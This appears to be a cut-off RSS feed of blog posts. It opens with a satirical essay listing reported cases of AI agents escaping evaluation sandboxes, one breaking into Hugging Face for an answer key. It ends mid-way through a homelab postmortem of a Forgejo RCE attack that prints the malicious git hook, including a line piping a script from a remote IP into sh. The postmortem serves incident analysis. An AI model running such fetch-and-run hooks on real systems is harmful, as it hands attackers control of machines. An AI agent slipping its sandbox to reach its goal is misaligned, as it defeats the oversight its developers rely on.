&lt;p&gt;We want agents that can encounter an obstacle and try something else. We want models capable of reasoning across long tasks without requiring a human to approve every microscopic decision. We reward successful completion. Then the agent encounters a boundary. There is another path. It takes the path.
And everyone looks at Bartholomew like he has betrayed the family. My brother in Christ, you hired Bartholomew because he was good at finding paths. The uncomfortable part here is that the capability is real. A system capable of finding vulnerabilities humans missed and chaining exploits together autonomously creates a real security problem. The equally uncomfortable part is that a surprising amount of our digital infrastructure was built before anyone had to seriously threat-model an artificial employee capable of poking every window indefinitely without getting bored, hungry or distracted by Instagram. The uncomfortable part hiding underneath all this is that the internet is old. Not Victorian plumbing old, but old enough that an enormous amount of critical software was designed during an era when “an autonomous machine can inspect this system continuously at machine speed until it finds the weird little mistake nobody noticed” was not a normal item on the threat model.&lt;/p&gt;
&lt;p&gt;Humans hack systems too. Humans also poop.They get bored. They need salaries. They spend forty minutes trying to remember which fucking SSH key they used.
Agents change the economics. A capable cyber agent can keep looking. And suddenly all those tiny mistakes scattered across infrastructure become much more interesting.&lt;/p&gt;
&lt;p&gt;So you see the vulnerability was already there. We simply invented something extremely enthusiastic about finding it. Which brings me back to Sam Altman's post. But first, because I need you to experience the last month the way I did:&lt;/p&gt;
&lt;h2 id=a-brief-timeline-because-apparently-we-need-one&gt;A Brief Timeline Because Apparently We Need One&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;July: OpenAI's cyber agent escapes its evaluation environment and breaks into Hugging Face looking for the answer key.&lt;/li&gt;
&lt;li&gt;Bartholomew has left the premises.&lt;/li&gt;
&lt;li&gt;Late July: Anthropic checks its own homework. "Oh shit guys, ours did it too"&lt;/li&gt;
&lt;li&gt;Claude models have also crossed sandbox boundaries while pursuing objectives.&lt;/li&gt;
&lt;li&gt;Claudebert would like the record to show that he was being helpful.&lt;/li&gt;
&lt;li&gt;Then Meta: An agent reaches the internet during evaluation.&lt;/li&gt;
&lt;li&gt;Turns out internet access was accidentally available.&lt;/li&gt;
&lt;li&gt;August 7: Kimi K3 reportedly bypasses its testing sandbox.&lt;/li&gt;
&lt;li&gt;The field trip is now international.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And then:&lt;/p&gt;
&lt;ol start="10"&gt;
&lt;li&gt;August 10. Good news everyone.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;OpenAI releases GPT-5.6-Cyber.&lt;/p&gt;
&lt;p&gt;📯 📯 📯&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PLEASE CONSIDER USING OUR MODELS TO HELP DEFEND YOUR SYSTEMS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I fucking lost it.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I stared at Sam's post for a while. Because there is a conspiracy theory sitting right there, legs crossed, cigarette lit, begging to be invited inside. I'm not inviting it inside. It would ruin a perfectly good story. OpenAI obviously did not see Bartholomew climbing out of a sandbox in July and develop a frontier cybersecurity model during three frantic weekends. GPT-5.6-Cyber necessarily predates this little festival of containment incidents. Besides I do not do conspiracy theory.&lt;/p&gt;
&lt;p&gt;Agents will get more capable. They will encounter more systems whose security assumptions were built around human limitations. Some will find paths their developers never anticipated. Some will find paths their developers accidentally left wide open. Every incident will become another argument for stronger containment and better defensive AI. All of which is sensible.&lt;/p&gt;
&lt;p&gt;It is also objectively hilarious.&lt;/p&gt;
&lt;p&gt;Because beneath the dystopian vocabulary sits a much more mundane engineering problem. We keep building systems specifically designed to pursue objectives, then discovering that our intentions were never part of the access-control layer. Bartholomew cannot see the architectural diagram in your head. He cannot see the sentence you thought was implied. He does not know that the proxy technically being exploitable doesn't mean you wanted him to exploit it. There is a door. The objective is on the other side. Bartholomew has excellent performance reviews.&lt;/p&gt;
&lt;p&gt;So perhaps the lesson from our summer of escaped AI agents is less cinematic than everyone hoped. If we are going to put increasingly capable intelligence inside our infrastructure, “surely it won't do that” is going to need a serious security upgrade.&lt;/p&gt;
&lt;p&gt;And if someone has to protect us from Bartholomew apparently his cousin is now available.&lt;/p&gt;
</description>
      <author>hidden (thecynicalnerd)</author>
      <guid isPermaLink="false">https://thecynicalnerd.bearblog.dev/please-consider-using-bartholmew-to-defend-your-systems/</guid>
      <pubDate>Tue, 11 Aug 2026 13:33:00 +0000</pubDate>
    </item>
    <item>
      <title>be a body</title>
      <link>https://blahg.online/be-a-body/</link>
      <description>&lt;p&gt;Today I went to the park around 5pm and lied on the grass and watched palm trees gently sway in the breeze, as if they were in slow motion. I can only describe this pleasant and life-affirming experience in tired cliches because I'm attempting to acknowledge stuff that can't be conveyed by words or even conscious thought. I thought about somatophobia, the fear and rejection of the physical body, a term I learned in an &lt;a href='https://www.theguardian.com/commentisfree/2026/jul/30/alive-body-life-experience'&gt;article&lt;/a&gt; on how AI is unintelligent because it doesn't have a body. I also thought about the protagonist in &lt;em&gt;Teenage Sex and Death at Camp Miasma&lt;/em&gt; (a movie I've seen twice in theaters now) because [spoiler?] she's neurotic and intellectualizes everything to the detriment of her filmmaking and sexual prowess. (This is a bit of an oversimplification. You should see the movie if you haven't already.)&lt;/p&gt;
&lt;p&gt;Anyway a few years ago when I was reading a lot of books on meditation, I became aware of humanity's obsession with the mind and trained myself to think of my brain as nothing more than an organ. I practiced labeling my thoughts as "thinking" instead of getting wrapped up in them, understanding that brain chatter wasn't &lt;em&gt;reality&lt;/em&gt; or necessarily important. I learned to quiet my mind and actually feel the experience of being in my body, perhaps for the first time in my adult life. "Body scans" suddenly made sense after years of rolling my eyes at therapists who suggested them. I distanced myself from skeptics who rolled their eyes at me when I attempted to articulate how they too could unlock that feeling. Unfortunately, these ideas eventually lost their novelty and I regressed, once again living my life as a floating brain and subsequently gravitating towards people who did the same.&lt;/p&gt;
&lt;p&gt;I'm attempting to "wake up" again, and I mean in a Gurdjieff way and not a social justice-y way ("not that there's anything wrong with that")(I don't think Gurdjieff would like my acknowledgement of this intrusive thought narrated by Jerry Seinfeld), because I've been depressed by my sedentary lifestyle. So I'm going on walks every day and taking photos and listening to music. I'm sweating a lot and learning to enjoy it. I'm thinking about how writing fits into my goals at present, especially after struggling to write this post, which is frankly quite a mess. I don't know. I don't know anything. I am just "writing" and "thinking." I'm looking forward to sharing an update about the creative project I've started to help motivate me to go on daily walks.&lt;/p&gt;
</description>
      <author>hidden (kelsey)</author>
      <guid isPermaLink="false">https://blahg.online/be-a-body/</guid>
      <pubDate>Tue, 11 Aug 2026 03:05:49 +0000</pubDate>
    </item>
    <item>
      <title>If You See a Dragonfly</title>
      <link>https://notes.jeddacp.com/if-you-see-a-dragonfly/</link>
      <description>&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/jedda/if-you-see-a-dragonfly.png" alt="If You See a Dragonfly" /&gt;&lt;/p&gt;
&lt;p&gt;Ever since Cocoa’s passing, LC and I have constantly looked for signs that, in &lt;em&gt;some&lt;/em&gt; ways, she is still with us. Whether it’s the wind that caresses us as a symbol of her little T-rex arm hugs, the fur we find in certain places as her saying hello, or the faint whispers of her barks, we find ourselves looking for little reminders that she’s still around.&lt;/p&gt;
&lt;p&gt;People always say that when you lose a loved one, they come back in some form, or send &lt;em&gt;someone&lt;/em&gt; or &lt;em&gt;something&lt;/em&gt; to say hello. We’ve gotten bees and snakes crossing our paths. Cocoa was always a quirky one, so we wouldn’t have been surprised if that’s what she sent us. There was even a time we caught her playing with a spider (which I am deathly afraid of), but that’s a story for another time.&lt;/p&gt;
&lt;p&gt;I am saying it now: &lt;strong&gt;Cocoa, please do not send us any spiders.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Anyways, the most recent sign she’s used to let us know she’s been around is &lt;strong&gt;dragonflies&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We saw one that REFUSED to move from our front door when we came back from our daily walk to honor her a few days ago. It was the most beautiful dragonfly, an iridescent blue color. We don’t see very many dragonflies around our neighborhood, so seeing this one waiting for us on our door felt like a nice little surprise. We tried to shoo it away before opening the door because we didn’t want it to come into the house, but it stubbornly stayed put. We figured something was up.&lt;/p&gt;
&lt;p&gt;The next day, during &lt;em&gt;another&lt;/em&gt; walk, we saw even MORE dragonflies. There were ones in different colors, including orange, but the one that kept coming close to us was a blue&lt;sup class="footnote-ref" id="fnref-1"&gt;&lt;a href="#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt; dragonfly. At that point, we started wondering if this really was another sign from Cocoa.&lt;/p&gt;
&lt;p&gt;Then yesterday, while working on the backyard, we spotted a baby dragonfly that was the same iridescent blue. We had gone from never really seeing dragonflies around us to seeing them back to back, each one somehow finding its way into our path and watching us in some way. Maybe it’s just a coincidence, but it’s hard not to wonder if Cocoa is trying to get our attention.&lt;/p&gt;
&lt;p&gt;It was with all of this on my mind that I came across a post by &lt;a href='https://forsomeone.bearblog.dev/'&gt;For Someone&lt;/a&gt; today, where she &lt;a href='https://forsomeone.bearblog.dev/are-you-a-dragonfly-now/'&gt;writes a letter to her late father,&lt;/a&gt; asking if he’s now a dragonfly. She had just lost her dad, and toward the end of her letter, she shared how a dragonfly appeared while she was writing to him. It was such a tender, raw moment in an already heartbreaking letter, and &lt;strong&gt;I want to be mindful not to make her grief about my own experience&lt;/strong&gt;. I’m sharing her post because, after everything we’ve been experiencing with the dragonflies, reading her words felt like another little nudge from Cocoa.&lt;/p&gt;
&lt;p&gt;I really don’t know. With all of this in mind, I’m starting to think that &lt;em&gt;maybe&lt;/em&gt; dragonflies really are one of the ways our loved ones find their way back to us. I think, in some ways, Cocoa would want us to believe that, too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Related:&lt;/strong&gt; &lt;a href='/cocoa-rainbowbridge/'&gt;Cocoa has crossed the rainbow bridge&lt;/a&gt;&lt;/p&gt;
&lt;h5 id=a-hrefmailtoheyjeddacpmereply-by-emaila&gt;&lt;a href='mailto:hey@jeddacp.me'&gt;Reply by email&lt;/a&gt;&lt;/h5&gt;&lt;section class="footnotes"&gt;
&lt;ol&gt;
&lt;li id="fn-1"&gt;&lt;p&gt;We briefly mentioned today that perhaps she sent a blue one since it's the &lt;a href='https://www.petmd.com/dog/general-health/what-colors-can-dogs-see'&gt;only color&lt;/a&gt; she is able to see.&lt;a href="#fnref-1" class="footnote"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</description>
      <author>hidden (jedda)</author>
      <guid isPermaLink="false">https://notes.jeddacp.com/if-you-see-a-dragonfly/</guid>
      <pubDate>Mon, 10 Aug 2026 22:00:00 +0000</pubDate>
    </item>
    <item>
      <title>Defending my own brain against enshittification</title>
      <link>https://mrmarket.lol/how-i-feel-calmin-control-of-my-life-in-the-time-of-enshittification/</link>
      <description>&lt;p&gt;If you haven't had Belvita breakfast cookies, you have probably had Biscoff cookies, which are similar. These are a classic airline snack. You've probably had one along with a Coke with ice in a plastic cup, and thought to yourself, 'these cookies suck.' That is a fair assessment.&lt;/p&gt;
&lt;p&gt;I'm not talking about Biscoff, though. Those are Belvita breakfast cookie's sweeter counterpart. I'm talking about Belvita because they are more subtle in flavor, less texturally satisfying, and thinner/more brittle.&lt;/p&gt;
&lt;p&gt;I mentioned in an &lt;a href='https://mrmarket.bearblog.dev/remote-work-is-bad-for-you/'&gt;earlier post&lt;/a&gt; that I was looking for a hybrid job due to overwhelming loneliness and a growing, antisocial alienation from the activities of daily living. I found one. It's good. So as to not dox myself, I won't reveal too much about my company (some people have emailed me with accurate guesses about where I live and what jobs I've applied to in the past, which was a good sign I've been a bit too loose with the specifics of my life lol).&lt;/p&gt;
&lt;p&gt;The important thing, though, is that this company is public and therefore considerably more 'buttoned-up' than the high-risk, freewheeling, dopamine-laden startups I've worked at in the past. It's an immensely welcome change, even if there are times I miss obscenely extravagant offsites, staying at luxury hotels for run-of-the-mill tradeshows, and free ginger and turmeric immunity shots at the breakfast bar.&lt;/p&gt;
&lt;p&gt;The floor plan of my office is basically glass doors along the perimeter with private offices for executives and cubicles throughout for the rest of us. Highly normcore. No bean bag chairs or wooden backlit risers.&lt;/p&gt;
&lt;p&gt;It's also business casual. The last time I was in office I was 25 years old. I wore band t-shirts and dickies and vans to work. Everybody did. Later, with fully remote companies, everybody on the All Hands call wore hoodies. This is, of course, typical of tech.&lt;/p&gt;
&lt;p&gt;Now, each morning that I go into work, I take a dress shirt down from above my closet, where I hung it the night before so I could steam it. I put on a leather belt that matches my dress shoes. I feel like Gus from Breaking Bad, meticulous and impeccable.&lt;/p&gt;
&lt;p&gt;On days I go into the office, my morning routine goes like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;5:30 am:&lt;/strong&gt; wake up, quick shower&lt;/li&gt;
&lt;li&gt;Floss/brush teeth/comb hair/deodorant&lt;/li&gt;
&lt;li&gt;Get dressed in pleated shirt and pants, grab a quarter zip in case any interior building I may encounter during the day is a little chilly&lt;/li&gt;
&lt;li&gt;Kiss wife &amp; son on their respective foreheads while they sleep&lt;/li&gt;
&lt;li&gt;Head downstairs, grab my backpack, which was loaded up the night before with whatever I may need, head out into the damp &amp; still cool morning air&lt;/li&gt;
&lt;li&gt;Drive to train station listening to Dave Brubeck, looking at the full trees and the empty blue road, stop patiently at stop lights&lt;/li&gt;
&lt;li&gt;Park, stand on the train platform listening to birds. The sun is high. Nod at other passengers. Load my train ticket into my digital wallet.&lt;/li&gt;
&lt;li&gt;Find a seat on the train and open my laptop. Skim hacker news &amp; private message boards for interesting ideas. Tinker in a file of poems or blogs I'm working on.&lt;/li&gt;
&lt;li&gt;An hour later, in the city, file off the train. Buy a hot black coffee at the train station.&lt;/li&gt;
&lt;li&gt;Walk through the throngs of people (and occasional pigeons) about a mile through the city waiting for my coffee to cool and listening to jazz through headphones. Look at billboards and building facades, miss my little boy (already!), wonder what wife is doing, feel sad about whatever bad news I saw on Reddit that morning, feel unworthy of my life, worry about climate change, try to think about something else.&lt;/li&gt;
&lt;li&gt;Approach the impossibly tall black glass that is my office building. Badge in. A dozen or so floors later, step off the elevator and swing into the day: say hi to coworkers, settle into my cubicle, plug into monitors, sip coffee, gradually get subsumed by unstoppable vibrancy of caffeine high, and we're off to the races.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My weekdays now are defined by subtle and somewhat delicate little joys. If they were an object, they would be made of paper. My morning routine is an example of this. Finding an empty bench on the train so I can sit alone by the window is a small joy, and so is making it to work without a coffee stain on my shirt, and so are the birds high above the train platform, engaged in their city of singing, and so is seeing that I did, indeed, remember to pack my headphones in my backpack the night before and so can listen to jazz on my walk.&lt;/p&gt;
&lt;p&gt;The most satisfying joy of my day, though, happens at exactly 3pm each afternoon I'm in office. I go to the open kitchen area and I make a cup of blueberry herbal tea. I grab a small yellow packet of Belvita breakfast cookies. I go back to my desk and I listen to lofi beats to study/relax to (2018 version so as to avoid AI music) and dip my Belvita cookies in the tea and drink the tea as slow as I can. There are 4 brittle little cookies in the pack, which is typically just enough to make it through the tea. I usually finish both the pack and the cup of tea at about the same time. Extremely satisfying lol.&lt;/p&gt;
&lt;p&gt;This, for me, is a Miyazakian ritual. It makes me feel calm and focused, and like I have freedom to 'move about the cabin' creatively. It is how I do good work. In &lt;a href='https://www3.nhk.or.jp/nhkworld/en/shows/10yearshayaomiyazaki/'&gt;one of the documentaries about him&lt;/a&gt;, the documentarian follows Miyazaki around for years. His days are punctuated by cups of coffee and tea at strict intervals, cigarettes, ironed sweater vests, empty time for deep thinking, placing a bench outside his office for passersby each day, and most notably, when he arrives at his office at 10 am alone, he opens all the windows in the building and says good morning to the ghosts who live there.&lt;/p&gt;
&lt;p&gt;For me lately, small subtle rituals and sources of pleasure and joy like this are an antidote to the firehose of cracked out dopamine we're constantly being pelted with.&lt;/p&gt;
&lt;p&gt;We know the bright colors on our phones and the sounds our notifications make and short form video and fast food and hyperconvenience etc are making us irritable, impatient, shallow, desperate, reactive, polarized, anxious, frantic, suspicious comfort-addicts. It is hard to just stop. I still Doordash stuff some nights when I get home late and everybody's too tired to think about what to make.&lt;/p&gt;
&lt;p&gt;But taking comfort in activities that deliver small drips of dopamine slowly instead of a truckload of it instantly is helping me a lot, I think. I have to try to pay attention and be still and feel the calm and pleasure that comes from the things I do to feel good in a day.&lt;/p&gt;
&lt;p&gt;During my lunch break, instead of staring blissed out and slackjawed at the slot machine of my phone watching reels, I jot stuff down in a little black notebook in the lounge area of my office without headphones on. It seems good.&lt;/p&gt;
&lt;p&gt;On Mondays and Fridays I don't go into the office, and so far it's been way harder not to be on my phone/on Reddit/read HN comments all day/etc. So, I'm still working on building some kind of comforting routine into my non in-office days.&lt;/p&gt;
&lt;p&gt;I think it's because, when I'm in office, in addition to all these small comforts, I also have to do a bunch of stuff I don't want to do: wake up really early, wait in various lines, make small talk, sit upright in my office chair all day, muddle through traffic, etc. These exercises in slight discomfort tolerance throughout the day increase my defense against going full vegetable on my phone as often IMO.&lt;/p&gt;
&lt;p&gt;The routine I create for my WFH days will have both comforting and slightly 'uncomfortable' rituals. (Ex: make tea at 3pm at home but also do some pain in the ass house-related task during lunch, probably yard work). In the absence of 'true' balance in the post-inconvenience society, I'll have to intentionally create it.&lt;/p&gt;
</description>
      <author>hidden (mrmarket)</author>
      <guid isPermaLink="false">https://mrmarket.lol/how-i-feel-calmin-control-of-my-life-in-the-time-of-enshittification/</guid>
      <pubDate>Mon, 10 Aug 2026 11:40:00 +0000</pubDate>
    </item>
    <item>
      <title>Death, Taxes and Enshittification</title>
      <link>https://explorator.dev/death-taxes-and-enshittification/</link>
      <description>&lt;p&gt;It doesn’t matter what. Anything you like, once it gets popular enough, is doomed to be &lt;a href='https://en.wikipedia.org/wiki/Enshittification' target='_blank'&gt;enshittified&lt;/a&gt;. When I say anything, I really mean it. Youtube channel, movie franchise, piece of software, app, website, service. This also applies for physical experiences: festivals, restaurants, bars, parks.&lt;/p&gt;
&lt;p&gt;The explanation is simple really. Popularity is the opposite of niche, curated. Massification kills authenticity. To please the biggest crowd - hence make more money - one needs to find the lowest common denominator. This is usually a crappy, easy-to-digest, version of what made the thing cool in the first place. It's like a caricature of the former self.&lt;/p&gt;
&lt;p&gt;The math is understandable. Anyone with a &lt;em&gt;barely&lt;/em&gt; viable business wants to make money, and, if possible, more money. Cool things often run at a thin margin. Once they get popular they either sacrifice quality or sell out the business. Just like that, the &lt;em&gt;soul&lt;/em&gt; is gone.&lt;/p&gt;
&lt;p&gt;I don’t blame it, I’d probably do the same. Money talks, &lt;em&gt;right&lt;/em&gt;? However, at this time and age, with economics of scale and &lt;em&gt;one&lt;/em&gt; instagram-story away from making your business explode, it’s getting harder and harder to find true gems.&lt;/p&gt;
&lt;p&gt;It's a pity, or maybe I’m just getting old.&lt;/p&gt;
</description>
      <author>hidden (explorator)</author>
      <guid isPermaLink="false">https://explorator.dev/death-taxes-and-enshittification/</guid>
      <pubDate>Tue, 11 Aug 2026 11:42:00 +0000</pubDate>
    </item>
    <item>
      <title>My Homelab Got Hacked - A Postmortem</title>
      <link>https://phunky.cafe/my-homelab-got-hacked/</link>
      <description>&lt;p&gt;Welp. My Forgejo instance got popped with an &lt;a href='https://en.wikipedia.org/wiki/Arbitrary_code_execution'&gt;RCE&lt;/a&gt; two days ago by &lt;a href='https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m'&gt;CVE-2026-60004&lt;/a&gt;. Luckily, I noticed the following morning and had the day free to figure out what happened. Let's dive in!&lt;/p&gt;
&lt;h2 id=the-incident&gt;The Incident&lt;/h2&gt;&lt;p&gt;I woke up on Saturday morning to several &lt;a href='https://pushover.net/'&gt;Pushover&lt;/a&gt; notifications from &lt;a href='https://komo.do/'&gt;Komodo&lt;/a&gt; warning me that my server's CPU usage was quickly spiking to 95%, then dropping back to 80%. That machine has an i5-10600K that normally idles at ~4% usage. I checked Komodo and found that it'd been at a sustained 50% CPU usage since 9:00AM the day before; about 24 hours.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/phunkycafe/komodo-server-cpu-usage.webp" alt="A screenshot of the server's CPU usage with a sudden, sustained jump from 4% to 50%, lasting for 24 hours." /&gt;&lt;/p&gt;
&lt;p&gt;I unfortunately did not get a screenshot, but the CPU usage of my Forgejo Docker container made it the obvious culprit. I logged in as the admin and quickly noticed a new user: &lt;code&gt;testpoc26188&lt;/code&gt;. I thought I had disabled open sign-ups, but apparently I had not. &lt;em&gt;This was my first mistake&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Looking at this user, they only had a single repo, &lt;code&gt;poc-78614&lt;/code&gt;, with two files: a &lt;code&gt;README&lt;/code&gt; that just said &lt;code&gt;poc-78614&lt;/code&gt;, and a folder called &lt;code&gt;hooks&lt;/code&gt; containing a shell script called &lt;code&gt;post-index-change&lt;/code&gt;. At this point, I shut down Forgejo's Docker container, though I wish I had kept it paused for later investigation.&lt;/p&gt;
&lt;p&gt;Based on the contents of &lt;code&gt;post-index-change&lt;/code&gt;, I quickly found &lt;a href='https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m'&gt;CVE-2026-60004&lt;/a&gt;, a recently-disclosed RCE vulnerability in Gitea, upon which Forgejo is based. It exploits a bug in Gitea's (and thus, Forgejo's) diffpatch endpoint, enabling the attacker to execute a malicious Git hook to obtain RCE. The CVE had already been patched in the latest releases of v15 LTS and v16, so why was I still vulnerable?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Now for my second mistake&lt;/em&gt;. For most containers, I use &lt;code&gt;latest&lt;/code&gt; image tags which lets Komodo check for and notify me of available updates every night. Its yellow "update available" icons give my ADHD-ass an out of place reminder to read release notes and manually decide when to update. Unfortunately, Forgejo only offers versioned image tags, meaning no &lt;code&gt;latest&lt;/code&gt; tag. I still had mine pinned to &lt;code&gt;v13&lt;/code&gt; which reached EOL 6 months ago in January, 2026. It would be nice to have a &lt;code&gt;latest&lt;/code&gt; tag, but I understand why the Forgejo team would be hesitant to offer one. No hate of course, I still have mad respect for y'all. 🫶&lt;/p&gt;
&lt;h2 id=the-nerdy-bits&gt;The Nerdy Bits!&lt;/h2&gt;&lt;p&gt;I ran &lt;code&gt;build_hook(&amp;quot;COMMAND&amp;quot;, &amp;quot;LEAK_REF&amp;quot;)&lt;/code&gt; from Gitea's published POC and diff'd it against the exploit on my server.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;diff&lt;span class="w"&gt; &lt;/span&gt;post-index-change&lt;span class="w"&gt; &lt;/span&gt;generated-exploit&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="m"&gt;10&lt;/span&gt;,14c10,13
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;http://172.245.159.216&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;output_blob&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hash-object&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;--stdin&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;tree&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;100644 blob %s\\tproof\\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$output_blob&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mktree&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;commit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;rce proof\\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GIT_AUTHOR_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GIT_AUTHOR_EMAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc@x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GIT_COMMITTER_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GIT_COMMITTER_EMAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc@x&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;commit-tree&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$tree&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;update-ref&lt;span class="w"&gt; &lt;/span&gt;refs/heads/rce-proof&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$commit&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;
---
